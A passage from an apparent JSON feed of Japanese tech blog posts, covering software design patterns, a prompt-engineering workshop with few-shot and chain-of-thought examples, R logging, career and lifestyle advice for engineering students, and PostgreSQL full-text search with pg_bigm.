整えることで、より適切なパターンの選択と進化が促進されます。また、新しいチームメンバーからの質問や疑問を歓迎する文化を作ることで、既存のパターンの妥当性を定期的に見直すきっかけにもなります。魔法の解決策という幻想パターンに対する過度な期待は、不適切な適用を引き起こす大きな要因です。特定のアーキテクチャやパターンへの過度な期待や、新しいフレームワークやツールへの盲目的な信仰は、実装の複雑化や運用コストの増大を引き起こす可能性があります。特に、「銀の弾丸」を求める姿勢は、現実的な問題解決を見失わせる原因となりかねません。どんなパターンにも適用範囲や限界があることを認識し、状況に応じた適切な選択を行うことが重要です。例えば、マイクロサービスアーキテクチャは分散システムの柔軟性を高める可能性がありますが、運用の複雑さやネットワークの信頼性など、新たな課題も同時にもたらします。期待と現実のギャップを冷静に評価し、パターンの適用による実際の効果を慎重に見極める必要があります。これには、パターン導入前後での定量的な指標の比較や、チームメンバーからのフィードバック収集、実際のユーザーへの影響分析など、多角的な評価アプローチが求められます。また、パターンの導入は段階的に行い、各段階での効果を確認しながら進めることで、リスクを最小限に抑えることができます。仮説思考―BCG流 問題発見・解決の発想法 内田和成の思考作者:内田 和成東洋経済新報社Amazon定石の進化と検証確立された手法は、暫定的な真実としての性質を持っています。これは、定石が先人の経験則の集大成として形成されながらも、常に改善の余地があるという特徴を示しています。時代とともに技術は進化し、新しい方法論が生まれることで、既存の定石が見直されたり置き換わったりすることは珍しくありません。この変化を受け入れ、柔軟に適応していく姿勢が重要です。また、定石の適用には段階的な最適化が必要です。プロジェクトの初期段階では、迅速な開発とフィードバックループの確立を重視した手法が有効です。その後、サービスがスケールしていく段階では、パフォーマンスや保守性を考慮したパターンの導入が必要となってきます。さらに、プロダクトが成熟期に入ったメンテナンスフェーズでは、長期的な運用を見据えた定石の適用が求められます。このように、プロジェクトのライフサイクルに応じて、適切な手法を選択し組み合わせていくことが重要です。そして、これらの手法の有効性を担保するためには、継続的な検証が不可欠です。具体的には、パフォーマンス指標による定量的な評価や、実際のユーザーからのフィードバックの収集、さらにはチーム内での定期的な振り返りを通じて、採用している手法の効果を多角的に検証する必要があります。この検証プロセスを通じて、チームは定石の適用方法を改善し、より効果的な開発プラクティスを確立することができます。このような進化と検証のサイクルを通じて、定石は単なる形式的なルールではなく、実践的で価値のある知識体系として発展していきます。重要なのは、定石を固定的なものとして捉えるのではなく、常に改善と適応を繰り返す生きた知識として扱うことです。それによって、チームは変化する要求や技術環境に柔軟に対応しながら、より効果的な開発プロセスを実現することができます。論点思考作者:内田 和成東洋経済新報社Amazonおわりにそもそも、Kubernetesは型の集大成とも言える存在です。PodやDeployment、Service、Operatorなど、その設計思想には分散システム開発における長年の経験と知恵が型として結晶化されています。Kubernetesの各機能は、それぞれが独立した型でありながら、組み合わさることでより大きな価値を生み出しており、まさにここで議論してきた型の相互補完性を体現していると言えるでしょう。ソフトウェアにおける定石やパターンとの付き合い方は、プログラマーとしての成長において重要な要素となります。ここで重要なのは、バランスの取れたアプローチです。定石を完全に否定せず、かといって盲目的にも従わないという姿勢を保ちながら、常に検証と改善を心がけることが大切です。チームや製品の成長に合わせて手法を進化させていくことで、より効果的な開発プロセスを確立することができます。また、開発手法の習得には継続的な学習のサイクルが不可欠です。まずは基本的なパターンを学び実践するところから始め、経験を積みながら定石の本質を理解していきます。その過程で、状況に応じて手法を適応させたり改善したりすることで、より深い理解と実践的なスキルを身につけることができます。さらに、未来への視点を持つことも重要です。現在の課題解決だけでなく、将来の拡張性も考慮に入れた選択を心がけます。新しい技術やアプローチに対してオープンな姿勢を保つことで、より良い解決策を見出す可能性を広げることができます。また、チーム全体での知識と経験の共有を促進することで、組織としての成長も期待できます。定石やパターンは確かに重要な指針となりますが、それは絶対的な真理ではありません。状況や文脈に応じて、柔軟に解釈し適用していく必要があります。プログラマーとして成長するには、確立された手法を理解し、適切に活用しながら、常に改善と進化を続けることが重要です。この継続的な学習と適応のプロセスこそが、真に効果的な開発手法の確立につながるのです。このような姿勢で開発に取り組むことで、個人としての技術力向上だけでなく、チーム全体の生産性と品質の向上にも貢献することができます。ソフトウェアの世界は常に進化し続けており、その中で成長し続けるためには、確かな基礎と柔軟な思考を併せ持つことが不可欠なのです。","isoDate":"2024-11-20T03:21:14.000Z","dateMiliSeconds":1732072874000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"プロンプトエンジニアリングハンズオン","link":"https://shu-kob.hateblo.jp/entry/2024/11/19/172452","contentSnippet":"genai-users.connpass.com↑上記勉強会の資料です。shu-kob.hateblo.jp↑こちらの記事の「プロンプトエンジニアリング」もご覧ください。(上記記事はChatGPT)先ずは復習してみましょうGeminiにアクセスgemini.google.comお好みで、ChatGPTやClaudeを使用しても構いません。プロンプトエンジニアリングJSON形式で出力カレーのレシピを教えてください。出力は以下のJSON形式にしてください。==============={ \\"材料\\": [\\"材料1\\", \\"材料2\\"], \\"手順\\": [\\"手順1\\", \\"手順2\\"]}==============={ \\"材料\\": [ \\"玉ねぎ 1個\\", \\"にんじん 1本\\", \\"じゃがいも 2個\\", \\"牛肉 300g\\", \\"カレールー 2箱\\", \\"サラダ油 大さじ2\\", \\"水 800ml\\", \\"塩 少々\\", \\"こしょう 少々\\" ], \\"手順\\": [ \\"玉ねぎ、にんじん、じゃがいもは食べやすい大きさに切る。\\", \\"鍋にサラダ油を熱し、牛肉を炒め、色が変わったら玉ねぎを加えて炒める。\\", \\"にんじん、じゃがいもを加えてさらに炒める。\\", \\"水を加え、アクを取りながら煮込む。\\", \\"野菜が柔らかくなったらカレールーを加えて溶かす。\\", \\"塩こしょうで味を調え、5分ほど煮込む。\\" ]}出力結果をJSON Formatterで確認JSON Formatter & ValidatorZero-shotプロンプティングZero-Shotプロンプティングとは、大規模言語モデル(LLM)に対して、事前に具体的な例を示すことなく、一度の指示でタスクを実行させるプロンプトエンジニアリング手法です。以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================紅白出場歌手の選考基準 NHK公開芸能Few-shotプロンプティングFew-Shotプロンプティングは、大規模言語モデル(LLM)に対して、タスクを実行するための具体的な例をいくつか示すことで、モデルの性能を向上させるプロンプトエンジニアリングの手法です。Zero-Shotプロンプティングとの違いZero-Shotプロンプティングが、一切の例を示さずにタスクを実行させるのに対し、Few-Shotプロンプティングでは、少数の例を提示することで、モデルがより効率的にタスクを学習できるようにします。以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================「紅白出場歌手の選考基準 NHK公開」===========================以下は例です「G20 バイデン氏不在で集合写真」:政治「岡田将生&高畑充希結婚 SNS反応」:芸能芸能Zero-shot Chain-of-ThoughtプロンプティングZero-shot Chain-of-Thought(CoT)プロンプティングは、大規模言語モデル(LLM)に対して、具体的な例を示すことなく、段階的な推論プロセスを踏ませるように指示するプロンプトエンジニアリングの手法です。回答だけ一言で出力してください。10 + 2 * 3 - 4 * 28ステップバイステップで考えてください。10 + 2 * 3 - 4 * 2## ステップバイステップで解いてみましょう!**与えられた式:** 10 + 2 * 3 - 4 * 2**解き方:**数学では、**掛け算と割り算**は、**足し算と引き算**よりも先に計算します。これを**優先順位**と言います。1. **掛け算を計算する:** * 2 * 3 = 6 * 4 * 2 = 8 式は、10 + 6 - 8 に変わります。2. **残りの計算を行う:** * 10 + 6 = 16 * 16 - 8 = 8**答え:** 8**まとめ:**与えられた式をステップバイステップで解くと、答えは**8**になります。**ポイント:*** **優先順位:** 掛け算と割り算は、足し算と引き算よりも先に計算します。* **計算順序:** 左から右へ計算していきます。**補足:**もし、計算の順番を変えたい場合は、**かっこ**を使います。例えば、(10 + 2) * 3 - 4 * 2 のようにかっこでくくると、最初に10と2を足してから3をかけることになります。**この説明で理解できましたか?** もし、まだ疑問な点があれば、遠慮なく質問してくださいね。Few-shot Chain-of-ThoughtプロンプティングFew-shot CoTプロンプティングは、大規模言語モデル(LLM)に、いくつかの例を示しながら、段階的な推論プロセスを踏ませることで、より複雑な問題を解かせる手法です。このグループの奇数を合計すると偶数になります。: 4、8、9、15、12、2、1。A: 奇数を全て加えると(9, 15, 1)25になります。答えはFalseです。このグループの奇数を合計すると偶数になります。: 17、10、19、4、8、12、24。A: 奇数を全て加えると(17, 19)36になります。答えはTrueです。このグループの奇数を合計すると偶数になります。: 16、11、14、4、8、13、24。A: 奇数を全て加えると(11, 13)24になります。答えはTrueです。このグループの奇数を合計すると偶数になります。: 17、9、10、12、13、4、2。A: 奇数を全て加えると(17, 9, 13)39になります。答えはFalseです。このグループの奇数を合計すると偶数になります。: 15、32、5、13、82、7、1。A:参考文献LangChainとLangGraphによるRAG・AIエージェント[実践]入門10倍速で成果が出る!ChatGPTスゴ技大全","isoDate":"2024-11-19T08:24:52.000Z","dateMiliSeconds":1732004692000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Rのパッケージ内でloggerパッケージを使う","link":"https://blog.atusy.net/2024/11/19/logger-in-r-package/","contentSnippet":"Rのloggerパッケージをパッケージ開発に使う場合、.onLoad関数内でログレベルなどの設定しよう。.onLoad関数のpkgname引数をlogger::log_thresholdなどの設定関数のnamespace引数に渡すと、パッケージ内のログだけを対象に設定を変更できます。","isoDate":"2024-11-19T00:00:00.000Z","dateMiliSeconds":1731974400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"#技育CAMPキャラバン in福岡\uD83D\uDDE3️で学生の質問に答えた。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/17/003421","contentSnippet":"はじめに先日、技育CAMPキャラバンin福岡に社会人エンジニアとして参加し、学生の皆さんと対話する貴重な機会を得ました。このイベントは一方的な講義形式ではなく、各企業がブースを設け、学生と直接対話できる形式で行われました。talent.supporterz.jp私は株式会社スリーシェイクのSreake事業部に所属しています。当社はインフラエンジニアやSRE特化の企業であり、必ずしも全ての学生エンジニアの志望と合致するわけではありません。そのため、マッチングに時間が余った際には、先輩社会人として学生からの様々な質問に答える時間を持つことができました(もちろん、インフラエンジニアやSREに興味がある学生は応募してほしいです)。jobs-3-shake.com実はこの内容は半分冗談で半分本気なのですが、基本的な生活習慣の重要性は本当に伝えたいメッセージの一つです。なので、後半に参考文献などを貼ってます。もう、おじさんなので学生エンジニアに出会ったら、集中力を高める食事、認知機能を向上させる運動、記憶の定着に不可欠な質の良い睡眠、創造性を引き出す意識的な休憩といった基本的な生活習慣の最適化と、予期せぬチャンスを活かす計画的偶発性理論に基づくキャリア形成の話しかしていない。— nwiizo (@nwiizo) 2024年11月16日 この記事では、学生の皆さんから頂いた質問と回答を整理してまとめました。完璧な内容ではないかもしれませんが、対話を通じてかつての自分自身の悩みや不安が蘇り、過去の自分に語りかけているような不思議な感覚を覚えました。この内容が、ご質問いただいた学生の皆さまはもちろんのこと、同様の悩みを抱えているすべての方々の参考となれば幸いです。なお、各回答は異なる方々からの質問に対して、それぞれの文脈に沿ってお答えしたものとなっております。Q.失敗するのが怖くて全体として中途半端になってしまうこの質問をされた時に分かりすぎて泣きそうになった。エンジニアとして働いてきたり少し長く生きた経験から言えることは、失敗を恐れることよりも、挑戦しないことのほうが人生にとって大きなリスクとなるということです。結局のところ、これは自己愛の問題なのかもしれません。「時間を無駄にしたくない」「労力を無駄にしたくない」「チャンスを無駄にしたくない」。そういった思いが強すぎると、かえって何も始められなくなってしまいます。この「無駄にしたくない」という感情の根底には、自分を大切にする気持ちが強すぎるあまり、逆に自分を縛ってしまうというパラドックスがあります。完璧を求めすぎる。失敗を許せない。その背景には、実は自分への過度な期待や要求があるのです。嫌われる勇気作者:岸見 一郎,古賀 史健ダイヤモンド社Amazonでも、人生は無駄にしても良いんです。むしろ、無駄を恐れるあまり何も挑戦しないほうが、本当の意味で人生を無駄にしてしまうことになります。健全な自己愛とは、失敗しても自分を受け入れられる強さ、完璧でない自分を許せる余裕を持つことなのです。人生で最も価値のあるものは、一朝一夕には手に入りません。技術力も、人間関係も、信頼も、全て時間をかけて少しずつ築き上げていくものです。その時間を掛けられるかどうかは、今この瞬間にどれだけ自分を信じられるかにかかっています。そして、自分を信じるためには、失敗した自分も含めて、まるごと受け入れる覚悟が必要です。実は、本当に価値のあるものには、必ず痛みが伴います。すぐに得られる快楽は往々にして一時的なものですが、時間をかけて獲得したものこそが、本物の価値を持つのです。エンジニアとしての技術力も同じです。一朝一夕には身につかず、時には挫折も味わう。でも、その痛みを受け入れ、耐えることができれば、必ず実を結ぶのです。私自身、数々の失敗を経験してきました。コンテストに出て準備不足で大敗したり、本番環境でのデプロイミス、重要な機能の設計ミス、プロジェクトの見積もり違い、スタートアップへの参画での関わり方の間違いなど。一見すると、これらは全て「無駄な失敗」のように思えます。しかし、これらの失敗は全て、今の私の技術力と判断力の基礎となっています。失敗から学べる環境は、社会人になるとむしろ少なくなります。学生時代は、失敗から学ぶ最高の機会なのです。小さな挑戦から始めて、失敗した時の対応策を事前に考えておく。そして失敗から学んだことを必ず記録し、同じ失敗を繰り返さない仕組みを作る。これが私の失敗との向き合い方です。完璧を目指すのではなく、失敗してもいいと自分に許可を出すこと。そこから本当の挑戦が始まるのです。これは、自分を信頼し、自分を大切にする健全な自己愛の表れでもあります。また、簡単に手に入るものは、簡単に失われます。でも、痛みを伴って得たものは、決して簡単には失われない。この事実を心に留めておいてください。そして、これは自分自身との関係性においても同じことが言えます。自分を大切にしすぎるあまり縛ってしまうのではなく、失敗も含めて受け入れる。その寛容さこそが、本当の意味での自己愛なのかもしれません。超一流になるのは才能か努力か? (文春e-book)作者:アンダース・エリクソン,ロバート・プール文藝春秋AmazonQ.プログラミングがあまり分からなくて不安ですこれはとても一般的な不安です。実は私も、そして多くのエンジニアも同じ経験をしてきました。プログラミングの習得は、多くの人が思い描くような線形的な成長カーブを描きません。理解が全く進まないように感じる時期が長く続き、そしてある日突然、「あ、わかった!」という瞬間が訪れるのです。これは私たちの脳が新しい概念を理解する際によく見られるパターンです。たとえば、プログラミングの各種概念は最初のうちは本当に理解が困難です。でも、ある時を境に急に全体像が見えてくる。それまでモヤモヤしていた霧が晴れるように、概念が腑に落ちる瞬間が必ずやってきます**。だからこそ、今理解できないからと諦めるのは本当に惜しいことです。理解できないのは当たり前の段階なのです。むしろ、理解できなくて当然の時期を耐え忍ぶことこそが、プログラミング習得の本質とも言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonそれと合わせて、私から一つアドバイスさせていただきたいことがあります。それは言語化能力を磨くことです。プログラミングの学習において、概念を言葉で説明できる能力は非常に重要です。なぜなら、自分の理解を言葉にすることで、その理解がより深まり、また他者と共有できるようになるからです。学んだことを日記やブログに書き留めることから始めてみましょう。技術書を読んでその内容を自分の言葉で要約してみる。分からないことを質問する際にも、自分の理解状態を具体的に言語化してみる。これらの活動は、一見するとプログラミングの学習から外れているように思えるかもしれません。しかし、言語化能力はエンジニアにとって、いくら高くても困ることのないスキルです。コードを書く力と、それを説明する力。この両輪があってこそ、真に優れたエンジニアとなれるのです。最後に繰り返しになりますが、今の不安は決して特別なものではありません。理解できないことに耐え、学び続ける勇気さえあれば、必ず道は開けます。今は理解できなくても、それは単に「まだ」理解できていないだけなのです。焦らず、諦めず、そして何より自分を信じて、一歩ずつ前に進んでいってください。ワイド新版 思考の整理学 (単行本 --)作者:外山 滋比古筑摩書房AmazonQ.キャリア形成をするときにどうすればよいでしょうか?10年程度のエンジニア経験を通じて、最も重要だと感じているのは「計画的偶発性」の考え方です。予期せぬチャンスは必ず訪れますが、それを活かせるかどうかは、日頃の準備にかかっています。そして、どのような道を選んでも、基礎的なスキルの習得は必須です。技術力はもちろん、コミュニケーション能力、プロジェクトマネジメントの基礎、ドキュメンテーションスキルなど、技術以外の部分が実は大きな差を生みます。これらを支えるのが規則正しい生活習慣です。質の良い睡眠、バランスの取れた食事、適度な運動。この当たり前のことを当たり前にできることが、長期的なキャリアを支える土台となります。最後に付け加えておきたいのは、最初の選択が全てを決めるわけではないということです。キャリアは常に変化し続けるものであり、必要に応じて軌道修正することも可能です。大切なのは、その時々で最善と思える選択をし、その環境で最大限学び、成長することです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版AmazonQ.就活のときに気にしたほうがいいこと就職活動で自分が気にしていたのは相手の立場や背景を理解したコミュニケーションです。人事部門、現場エンジニア、経営層など、話す相手によって重視する観点が異なります。同じ経験や能力でも、相手の関心に応じて伝え方を工夫する必要があります。人事との対話では、将来のキャリアビジョンやチームへの貢献について。現場エンジニアとは技術的な興味や具体的な実装経験について。経営層にはビジネスへの理解や組織全体への価値提供について。このように文脈に応じて自分の強みを効果的に伝えられることが重要です。また、会社選びにおいては技術環境だけでなく、育成・評価制度やチームの雰囲気も重要な要素です。メンター制度の有無、技術研修の充実度、キャリアパスの明確さ。そしてチーム内のコミュニケーションスタイル、残業や休暇の取得状況、チーム間の連携方法。これらが実際の働きやすさを大きく左右します。このような状況に応じたコミュニケーション能力は、就活だけでなく、その後のエンジニアとしてのキャリアでも大きな差となって現れます。相手の関心や視点を理解し、それに応じて自分の経験や考えを効果的に伝える。これは単なる処世術ではなく、エンジニアに求められる重要なスキルの一つなのです。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonQ.学生の間でやったほうがいいこと正直に申し上げると、この質問に対する模範解答を示すことは避けたいと思います。なぜなら、誰もが自分の人生の主人公であり、その選択に責任を持つべきだからです。ただし、一つだけ確実に言えることがあります。それは、誰もあなたを救ってくれないということです。社会人になってから「あの時こうしておけば良かった」と思うことは誰にでもあります。しかし、それはその時の自分が選択した結果であり、その選択に対する責任は自分自身にあるのです。あなたの人生の舵を取れるのは、あなただけです。そして、その選択の結果として感じる後悔も、あなただけのものです。他人の経験談や助言は参考程度に留め、最終的には自分で考え、決断し、その結果に向き合う覚悟を持ってください。SOFT SKILLS ソフトウェア開発者の人生マニュアル 第2版作者:ジョン・ソンメズ日経BPAmazonQ.SREって何ですか?この質問に関しては、私が以前書いた「点でしかないものを線で見る為に - 「SREの前に」」というブログ記事と登壇資料を紹介しました(同運営イベントなので・・・)。syu-m-5151.hatenablog.comこの記事では、SREの考え方や、実践に必要な基礎知識について詳しく解説しています。あとはインフラエンジニア版の競技プログラミングサイトを紹介した。sadservers.comQ.生産性を上げる方法はありますか?私からの回答は明確です。「スマートフォンを制限すること」に尽きます。現代の最大の生産性の敵は、実はポケットの中にあります。スマートフォンは素晴らしいツールですが、使い方を誤ると大きな時間泥棒となります。これは単なる時間管理の問題ではありません。スマートフォンやSNSは、意図的に依存性を持つように設計されています。「ついスマホを見てしまう」「暇があれば通知をチェックしている」「SNSやYouTubeを見ていたら、気づいたら何時間も経っていた」—これらは偶然ではありません。これらのプラットフォームは、ドーパミンという報酬物質を放出させ、継続的な使用を促す仕組みになっているのです。その影響は私たちの生活のあらゆる面に及びます。集中力の低下により、情報過多で何をしようとしていたのかを忘れてしまう。メンタルヘルスへの悪影響として、衝撃的なニュースや他人の投稿を見て不安や劣等感を感じる。さらには睡眠の質の低下をもたらし、就寝前の使用が質の良い睡眠を妨げています。では、具体的にどうすれば良いのでしょうか。まずは物理的にスマホを遠ざけることから始めましょう。自分の部屋に置かないという選択は、思い切った対策に思えるかもしれませんが、効果は絶大です。目覚まし時計などのような、スマホの代替となるツールを積極的に活用することで、依存度を下げることができます。そして何より大切なのは、リアルで人と会って交流することです。オンラインのつながりに頼りすぎると、かえって孤独感が深まることがあります。実際の対面でのコミュニケーションは、心の健康を保つ上で非常に重要です。重要なのは、これは決してあなたの意志の弱さが原因ではないということです。現代のテクノロジーは、人間の脳の仕組みを巧妙に利用するように設計されています。だからこそ、意識的な制限と代替手段の確保が必要なのです。休憩時間もスマートフォンに頼るのではなく、軽い運動や瞑想を取り入れる。寝る前の読書習慣をつけるなど、スマートフォンに依存しない生活リズムを作ることで、驚くほど生産性が向上します。あなたの本来の能力を最大限に発揮するために、まずはスマートフォンとの適切な距離感を見つけることから始めてみてください。スマホ脳(新潮新書)作者:アンデシュ・ハンセン新潮社AmazonQ.周りのすごい人と比べてしまって落ち込みますこの悩みをよく聞きます。俺も思います。確かに私たち人間は、ついつい目に見えるラベルで判断してしまいがちです。学歴、過去の実績、Xのフォロワー数、有名企業でのインターン経験、GitHubのスター数など。でも、エンジニアの本当の凄さは、そんな表面的なところにはありません。人生は、運よりも実力よりも「勘違いさせる力」で決まっている作者:ふろむだダイヤモンド社Amazon私が長年エンジニアとして働いてきて確信しているのは、本当に優れたエンジニアの価値は、その人が直面する問題をどう解決するか、チームにどう貢献するか、そして日々どう成長していくかにあるということです。時には、ほんの些細な気づきや熱量や視点の違いが、大きなアウトプットの差を生むことがあります。これは学生時代に限らず、社会人になってからも同様です。確かに、自分が目指したいキャリアイメージに向けて、意識的にある種のラベルを獲得しようとすることは否定しません。それも一つの戦略です。ただし、より重要なのは、自分の思考プロセスや行動を明確に言語化できる能力です。「なぜその選択をしたのか」「どのように問題を解決したのか」を論理的に説明できる人は、社会に出てからより高く評価される傾向にあります。肩書きや過去の実績は、その人の一部分でしかありません。むしろ、今この瞬間にどれだけ真摯に技術や事業と向き合っているか、どれだけ学ぼうとする意欲があるか、そしてどれだけチームに価値をもたらしているか。そういった日々の積み重ねこそが、エンジニアとしての本質的な価値を形作っていくのです。だからこそ、表面的なラベルで自分を判断する必要はありません。あなたにしかできない貢献の仕方があり、あなたにしかない成長の道筋があるはずです。重要なのは、自分の考えや行動を明確に言語化し、それを他者と共有できること。そして、他の人と比べるのではなく、昨日の自分と比べて、一歩ずつでも確実に前に進んでいくことです。いかにして問題をとくか作者:G.ポリア丸善出版Amazon余談ですが、技術的な記事を書いたり登壇したりすることで「いいね」を集めたり、ハッカソンやビジネスコンテストで賞を獲得したりすることで得られる達成感は、一時的な快感に過ぎず、あくまでも外部からの評価でしかありません。イベントやSNSでの反響は確かにモチベーションの維持や目標設定には有効です。しかし、それを自分の技術力の証明と混同してしまうのは危険です。特に、外部での評価が高まると実際の技術力以上に自己評価が膨らみがちです。定期的に競技プログラミングやISUCON、CTF、学生ならICTSCにでも参加して、自分の現在地を冷静に確認することをお勧めします。結局のところ、ソフトウェアエンジニアにとって最も大切なのは、地道なコーディングと技術力の着実な積み重ねなのです。質問ではないのですが投稿まとめツイートの内容をサクッとまとめます。エンジニアの間で「運動が大切だ」という話をよく耳にします。確かにその通りですが、健康維持には運動以外にも同等に重要な要素が複数あります。これは人生の多くの側面に当てはまる話です。「すごい」と感じる人に出会ったとき、その瞬間にその人と自分の実力差や実績の差に圧倒されがちですが、実はそれは表面的な差でしかありません。大切なのは、基本的な生活習慣を整え、地道な努力を10、20年単位で継続できるかどうかです。短期的には大きな差が付いているように見えても、正しい生活習慣と共に粘り強く継続することで、必ず追い付き、追い越すことができます。運動脳作者:アンデシュ・ハンセンAmazon質の良い睡眠は、技術の習得と定着に直接的な影響を与えます。睡眠中、脳は日中の学習内容を整理し、長期記憶として定着させる重要な作業を行っています。しかし、多くのエンジニアは必要な睡眠時間を確保できていない「睡眠負債」の状態にあります。これは単なる「睡眠不足」という言葉で片付けられる問題ではありません。借金と同じように、睡眠負債は返済が滞ると、脳も体も思うように機能しなくなり、最終的には「眠りの自己破産」を引き起こしてしまいます。その結果、集中力の低下、記憶力の減退、さらには深刻な健康上の問題まで引き起こす可能性があります。特に危険なのは、睡眠負債による「マイクロスリープ(瞬間的居眠り)」です。1秒未満から10秒程度の意識の途切れは、本人も気づかないうちに起こり、作業中の重大なミスや事故につながりかねません。コードレビューやインフラ作業など、高度な注意力を要する作業において、これは深刻な問題となります。対策として重要なのは、就寝前のブルーライトを避け、規則正しい睡眠サイクルを維持することです。週末の寝だめでは解決しない睡眠負債を作らないよう、平日から意識的に睡眠時間を確保することが、長期的な学習効率と作業パフォーマンスを支える土台となります。スタンフォード式 最高の睡眠作者:西野 精治サンマーク出版Amazon適切な食事も、持続的な集中力の維持に不可欠です。ただ、多くのエンジニアに共通して見られる問題として、安易に糖質に偏った食事を選択しがちという傾向があります。手軽なカップ麺やパン類、菓子類への依存は、一時的な満足感は得られても、長期的には集中力の低下を招きます。特に気をつけたいのがタンパク質の摂取不足です。プログラミングは脳を使う仕事であり、脳の働きを最適化するためには十分なタンパク質摂取が欠かせません。忙しい中でも、プロテインドリンクの活用や、コンビニで手に入る鶏むね肉のサラダなど、手軽にタンパク質を補給できる方法を確保しておくことをお勧めします。ここで個人的におすすめなのが低温調理器の活用です。特に鶏むね肉の調理に関しては、低温調理器があれば手間をかけずに柔らかく美味しいタンパク質を確保できます。帰宅後に調理を始めるのは大変ですが、低温調理器なら出勤前にセットしておくだけで、帰宅時には完璧な火加減の料理が待っています。しかも、大量調理が可能なので、一度の調理で数日分のタンパク質を準備できます。コーヒーや糖分に頼りすぎない食生活を意識することも重要です。特に朝食では、炭水化物とタンパク質をバランスよく摂取することで、一日を通して安定したパフォーマンスを発揮できます。疲れない体をつくる最高の食事術作者:牧田善二小学館Amazonそして見落とされがちなのが、意識的な休養時間の確保です。連続的な作業は、必ずしも生産性の向上には繋がりません。むしろ、疲れをごまかして動き続けることは、回復に要する時間を延ばすだけでなく、深刻な健康上の問題を引き起こす可能性があります。休養には「生理的休養」「心理的休養」「社会的休養」の3種類があり、これらを適切に組み合わせることで、より効果的な疲労回復が期待できます。ただし、ここで言う休養とは、スマートフォンを触ることではありません。むしろ、休憩時間にスマートフォンを見ることは、脳を別の形で疲労させてしまう最悪の選択と言えます。理想的な休養とは、「自分で決めた」「仕事とは関係ない」「成長できる」「楽しむ余裕がある」という条件を満たした活動を指します。これらの要素が揃うことで、単なる休憩ではなく、心身の本質的な回復と成長をもたらす「攻めの休養」となります。デジタルデバイスから完全に離れ、心身をリセットする時間が必要です。短い散歩や深呼吸、窓の外を眺めるなど、意識的に何もしない時間を作ることで、脳は自然と新しいアイデアを生み出す準備を整えていきます。これは一見、時間の無駄に思えるかもしれませんが、長期的な生産性向上には不可欠な投資なのです。休養学―あなたを疲れから救う作者:片野 秀樹東洋経済新報社Amazon運動も確かに重要ですが、それは全体の一部分でしかありません。質の良い睡眠、バランスの取れた食事、適切な休憩。これらすべての要素が揃って初めて、エンジニアとして最高のパフォーマンスを発揮できるのです。ぜひ、生活習慣全体を見直す機会にしていただければと思います。おわりに後から見返すと純粋な学生に対して偉そうで斜に構えた回答をしてるなぁ… もっとベタをやれって思ってしまいました。ともあれ無事に終わって良かったです。学生の皆さんと対話できる貴重な機会を得て、私自身も多くの気づきがありました。かつての自分も同じような不安や悩みを抱えていたことを思い出し、その時の気持ちが今でも鮮明に蘇ってきます。そして不思議なことに、皆さんの質問に答えながら、過去の自分自身とも対話をしているような感覚がありました。技術の世界は常に変化し続けています。その中で最も重要なのは、技術そのものではなく、技術を学び続ける力、問題を解決する力、そして人と協力する力です。これは今も昔も変わらない真理だと感じています。皆さんには無限の可能性があります。当時の私がそうだったように、今は不安や迷いがあるかもしれません。でも、その不安を抱えながらも一歩を踏み出す勇気があれば、必ず道は開けます。失敗を恐れず、積極的に挑戦し続けてください。私たち社会人エンジニアは、かつての自分を重ねながら、皆さんの成長を心から応援しています。そして、この対話を通じて、私自身も過去の自分と向き合い、その不安や迷いを受け止め直すことができました。私たちは常に、過去の自分を励ましながら、未来の誰かの道標となれるよう成長し続けているのかもしれません。なお、イベントでお会いした学生の皆さん、もし追加の質問や相談事があれば、お気軽にDMをください。可能な範囲で、皆さんのキャリアについて一緒に考えていけたらと思います。pitta.me","isoDate":"2024-11-16T15:34:21.000Z","dateMiliSeconds":1731771261000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"PostgreSQLので全文検索拡張機能、pg_bigmを試す","link":"https://zenn.dev/nnaka2992/articles/use_pgbigm_on_cloudsql","contentSnippet":"アプリケーションを開発しているとアプリケーションログの分析や、JSONデータに対する分析など全文検索機能を求められることがたびたびあります。そういった場合はElasticsearchのように全文検索に特化したデータベースを導入することが多いです。しかし単純な文章の検索[^特にトランザクション用途]や小規模に利用される場合ばわざわざ専用のデータベースを管理作りたくないというケースが多いです。今回はPostgreSQLで利用可能な全文検索インデックスの拡張機能であるpg_bigmを紹介します。 検証環境の作成 CloudSQL 構成Cloud SQL EditionsE...","isoDate":"2024-11-16T11:12:07.000Z","dateMiliSeconds":1731755527000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"コマンドの引数にJSONやYAMLを使うと便利かも","link":"https://blog.atusy.net/2024/11/16/json-as-cmd-args/","contentSnippet":"コマンドの引数をいっそJSONやYAMLにしちゃうと、シェルスクリプトの引数処理でwhileループを回避できる、配列など複雑な値もJSONの枠組みで扱える、JSONSchemaでバリデーションできると、嬉しいことが沢山かも。","isoDate":"2024-11-16T00:00:00.000Z","dateMiliSeconds":1731715200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、Think IT連載「Kubernetesスペシャリストが注目する関連ツール探求」が連載開始から1周年","link":"https://sreake.com/blog/kubernetes-2/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、インプレスグループが運営するエンジニア向け技術解説サイト「Think IT」にて連載中の「Kubernetesスペシャリストが注目する関連ツール探求」が、連載開始から1周年を迎えることをお知らせします。The post スリーシェイク、Think IT連載「Kubernetesスペシャリストが注目する関連ツール探求」が連載開始から1周年 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-11-14T01:00:00.000Z","dateMiliSeconds":1731546000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、「CloudNative Days Winter 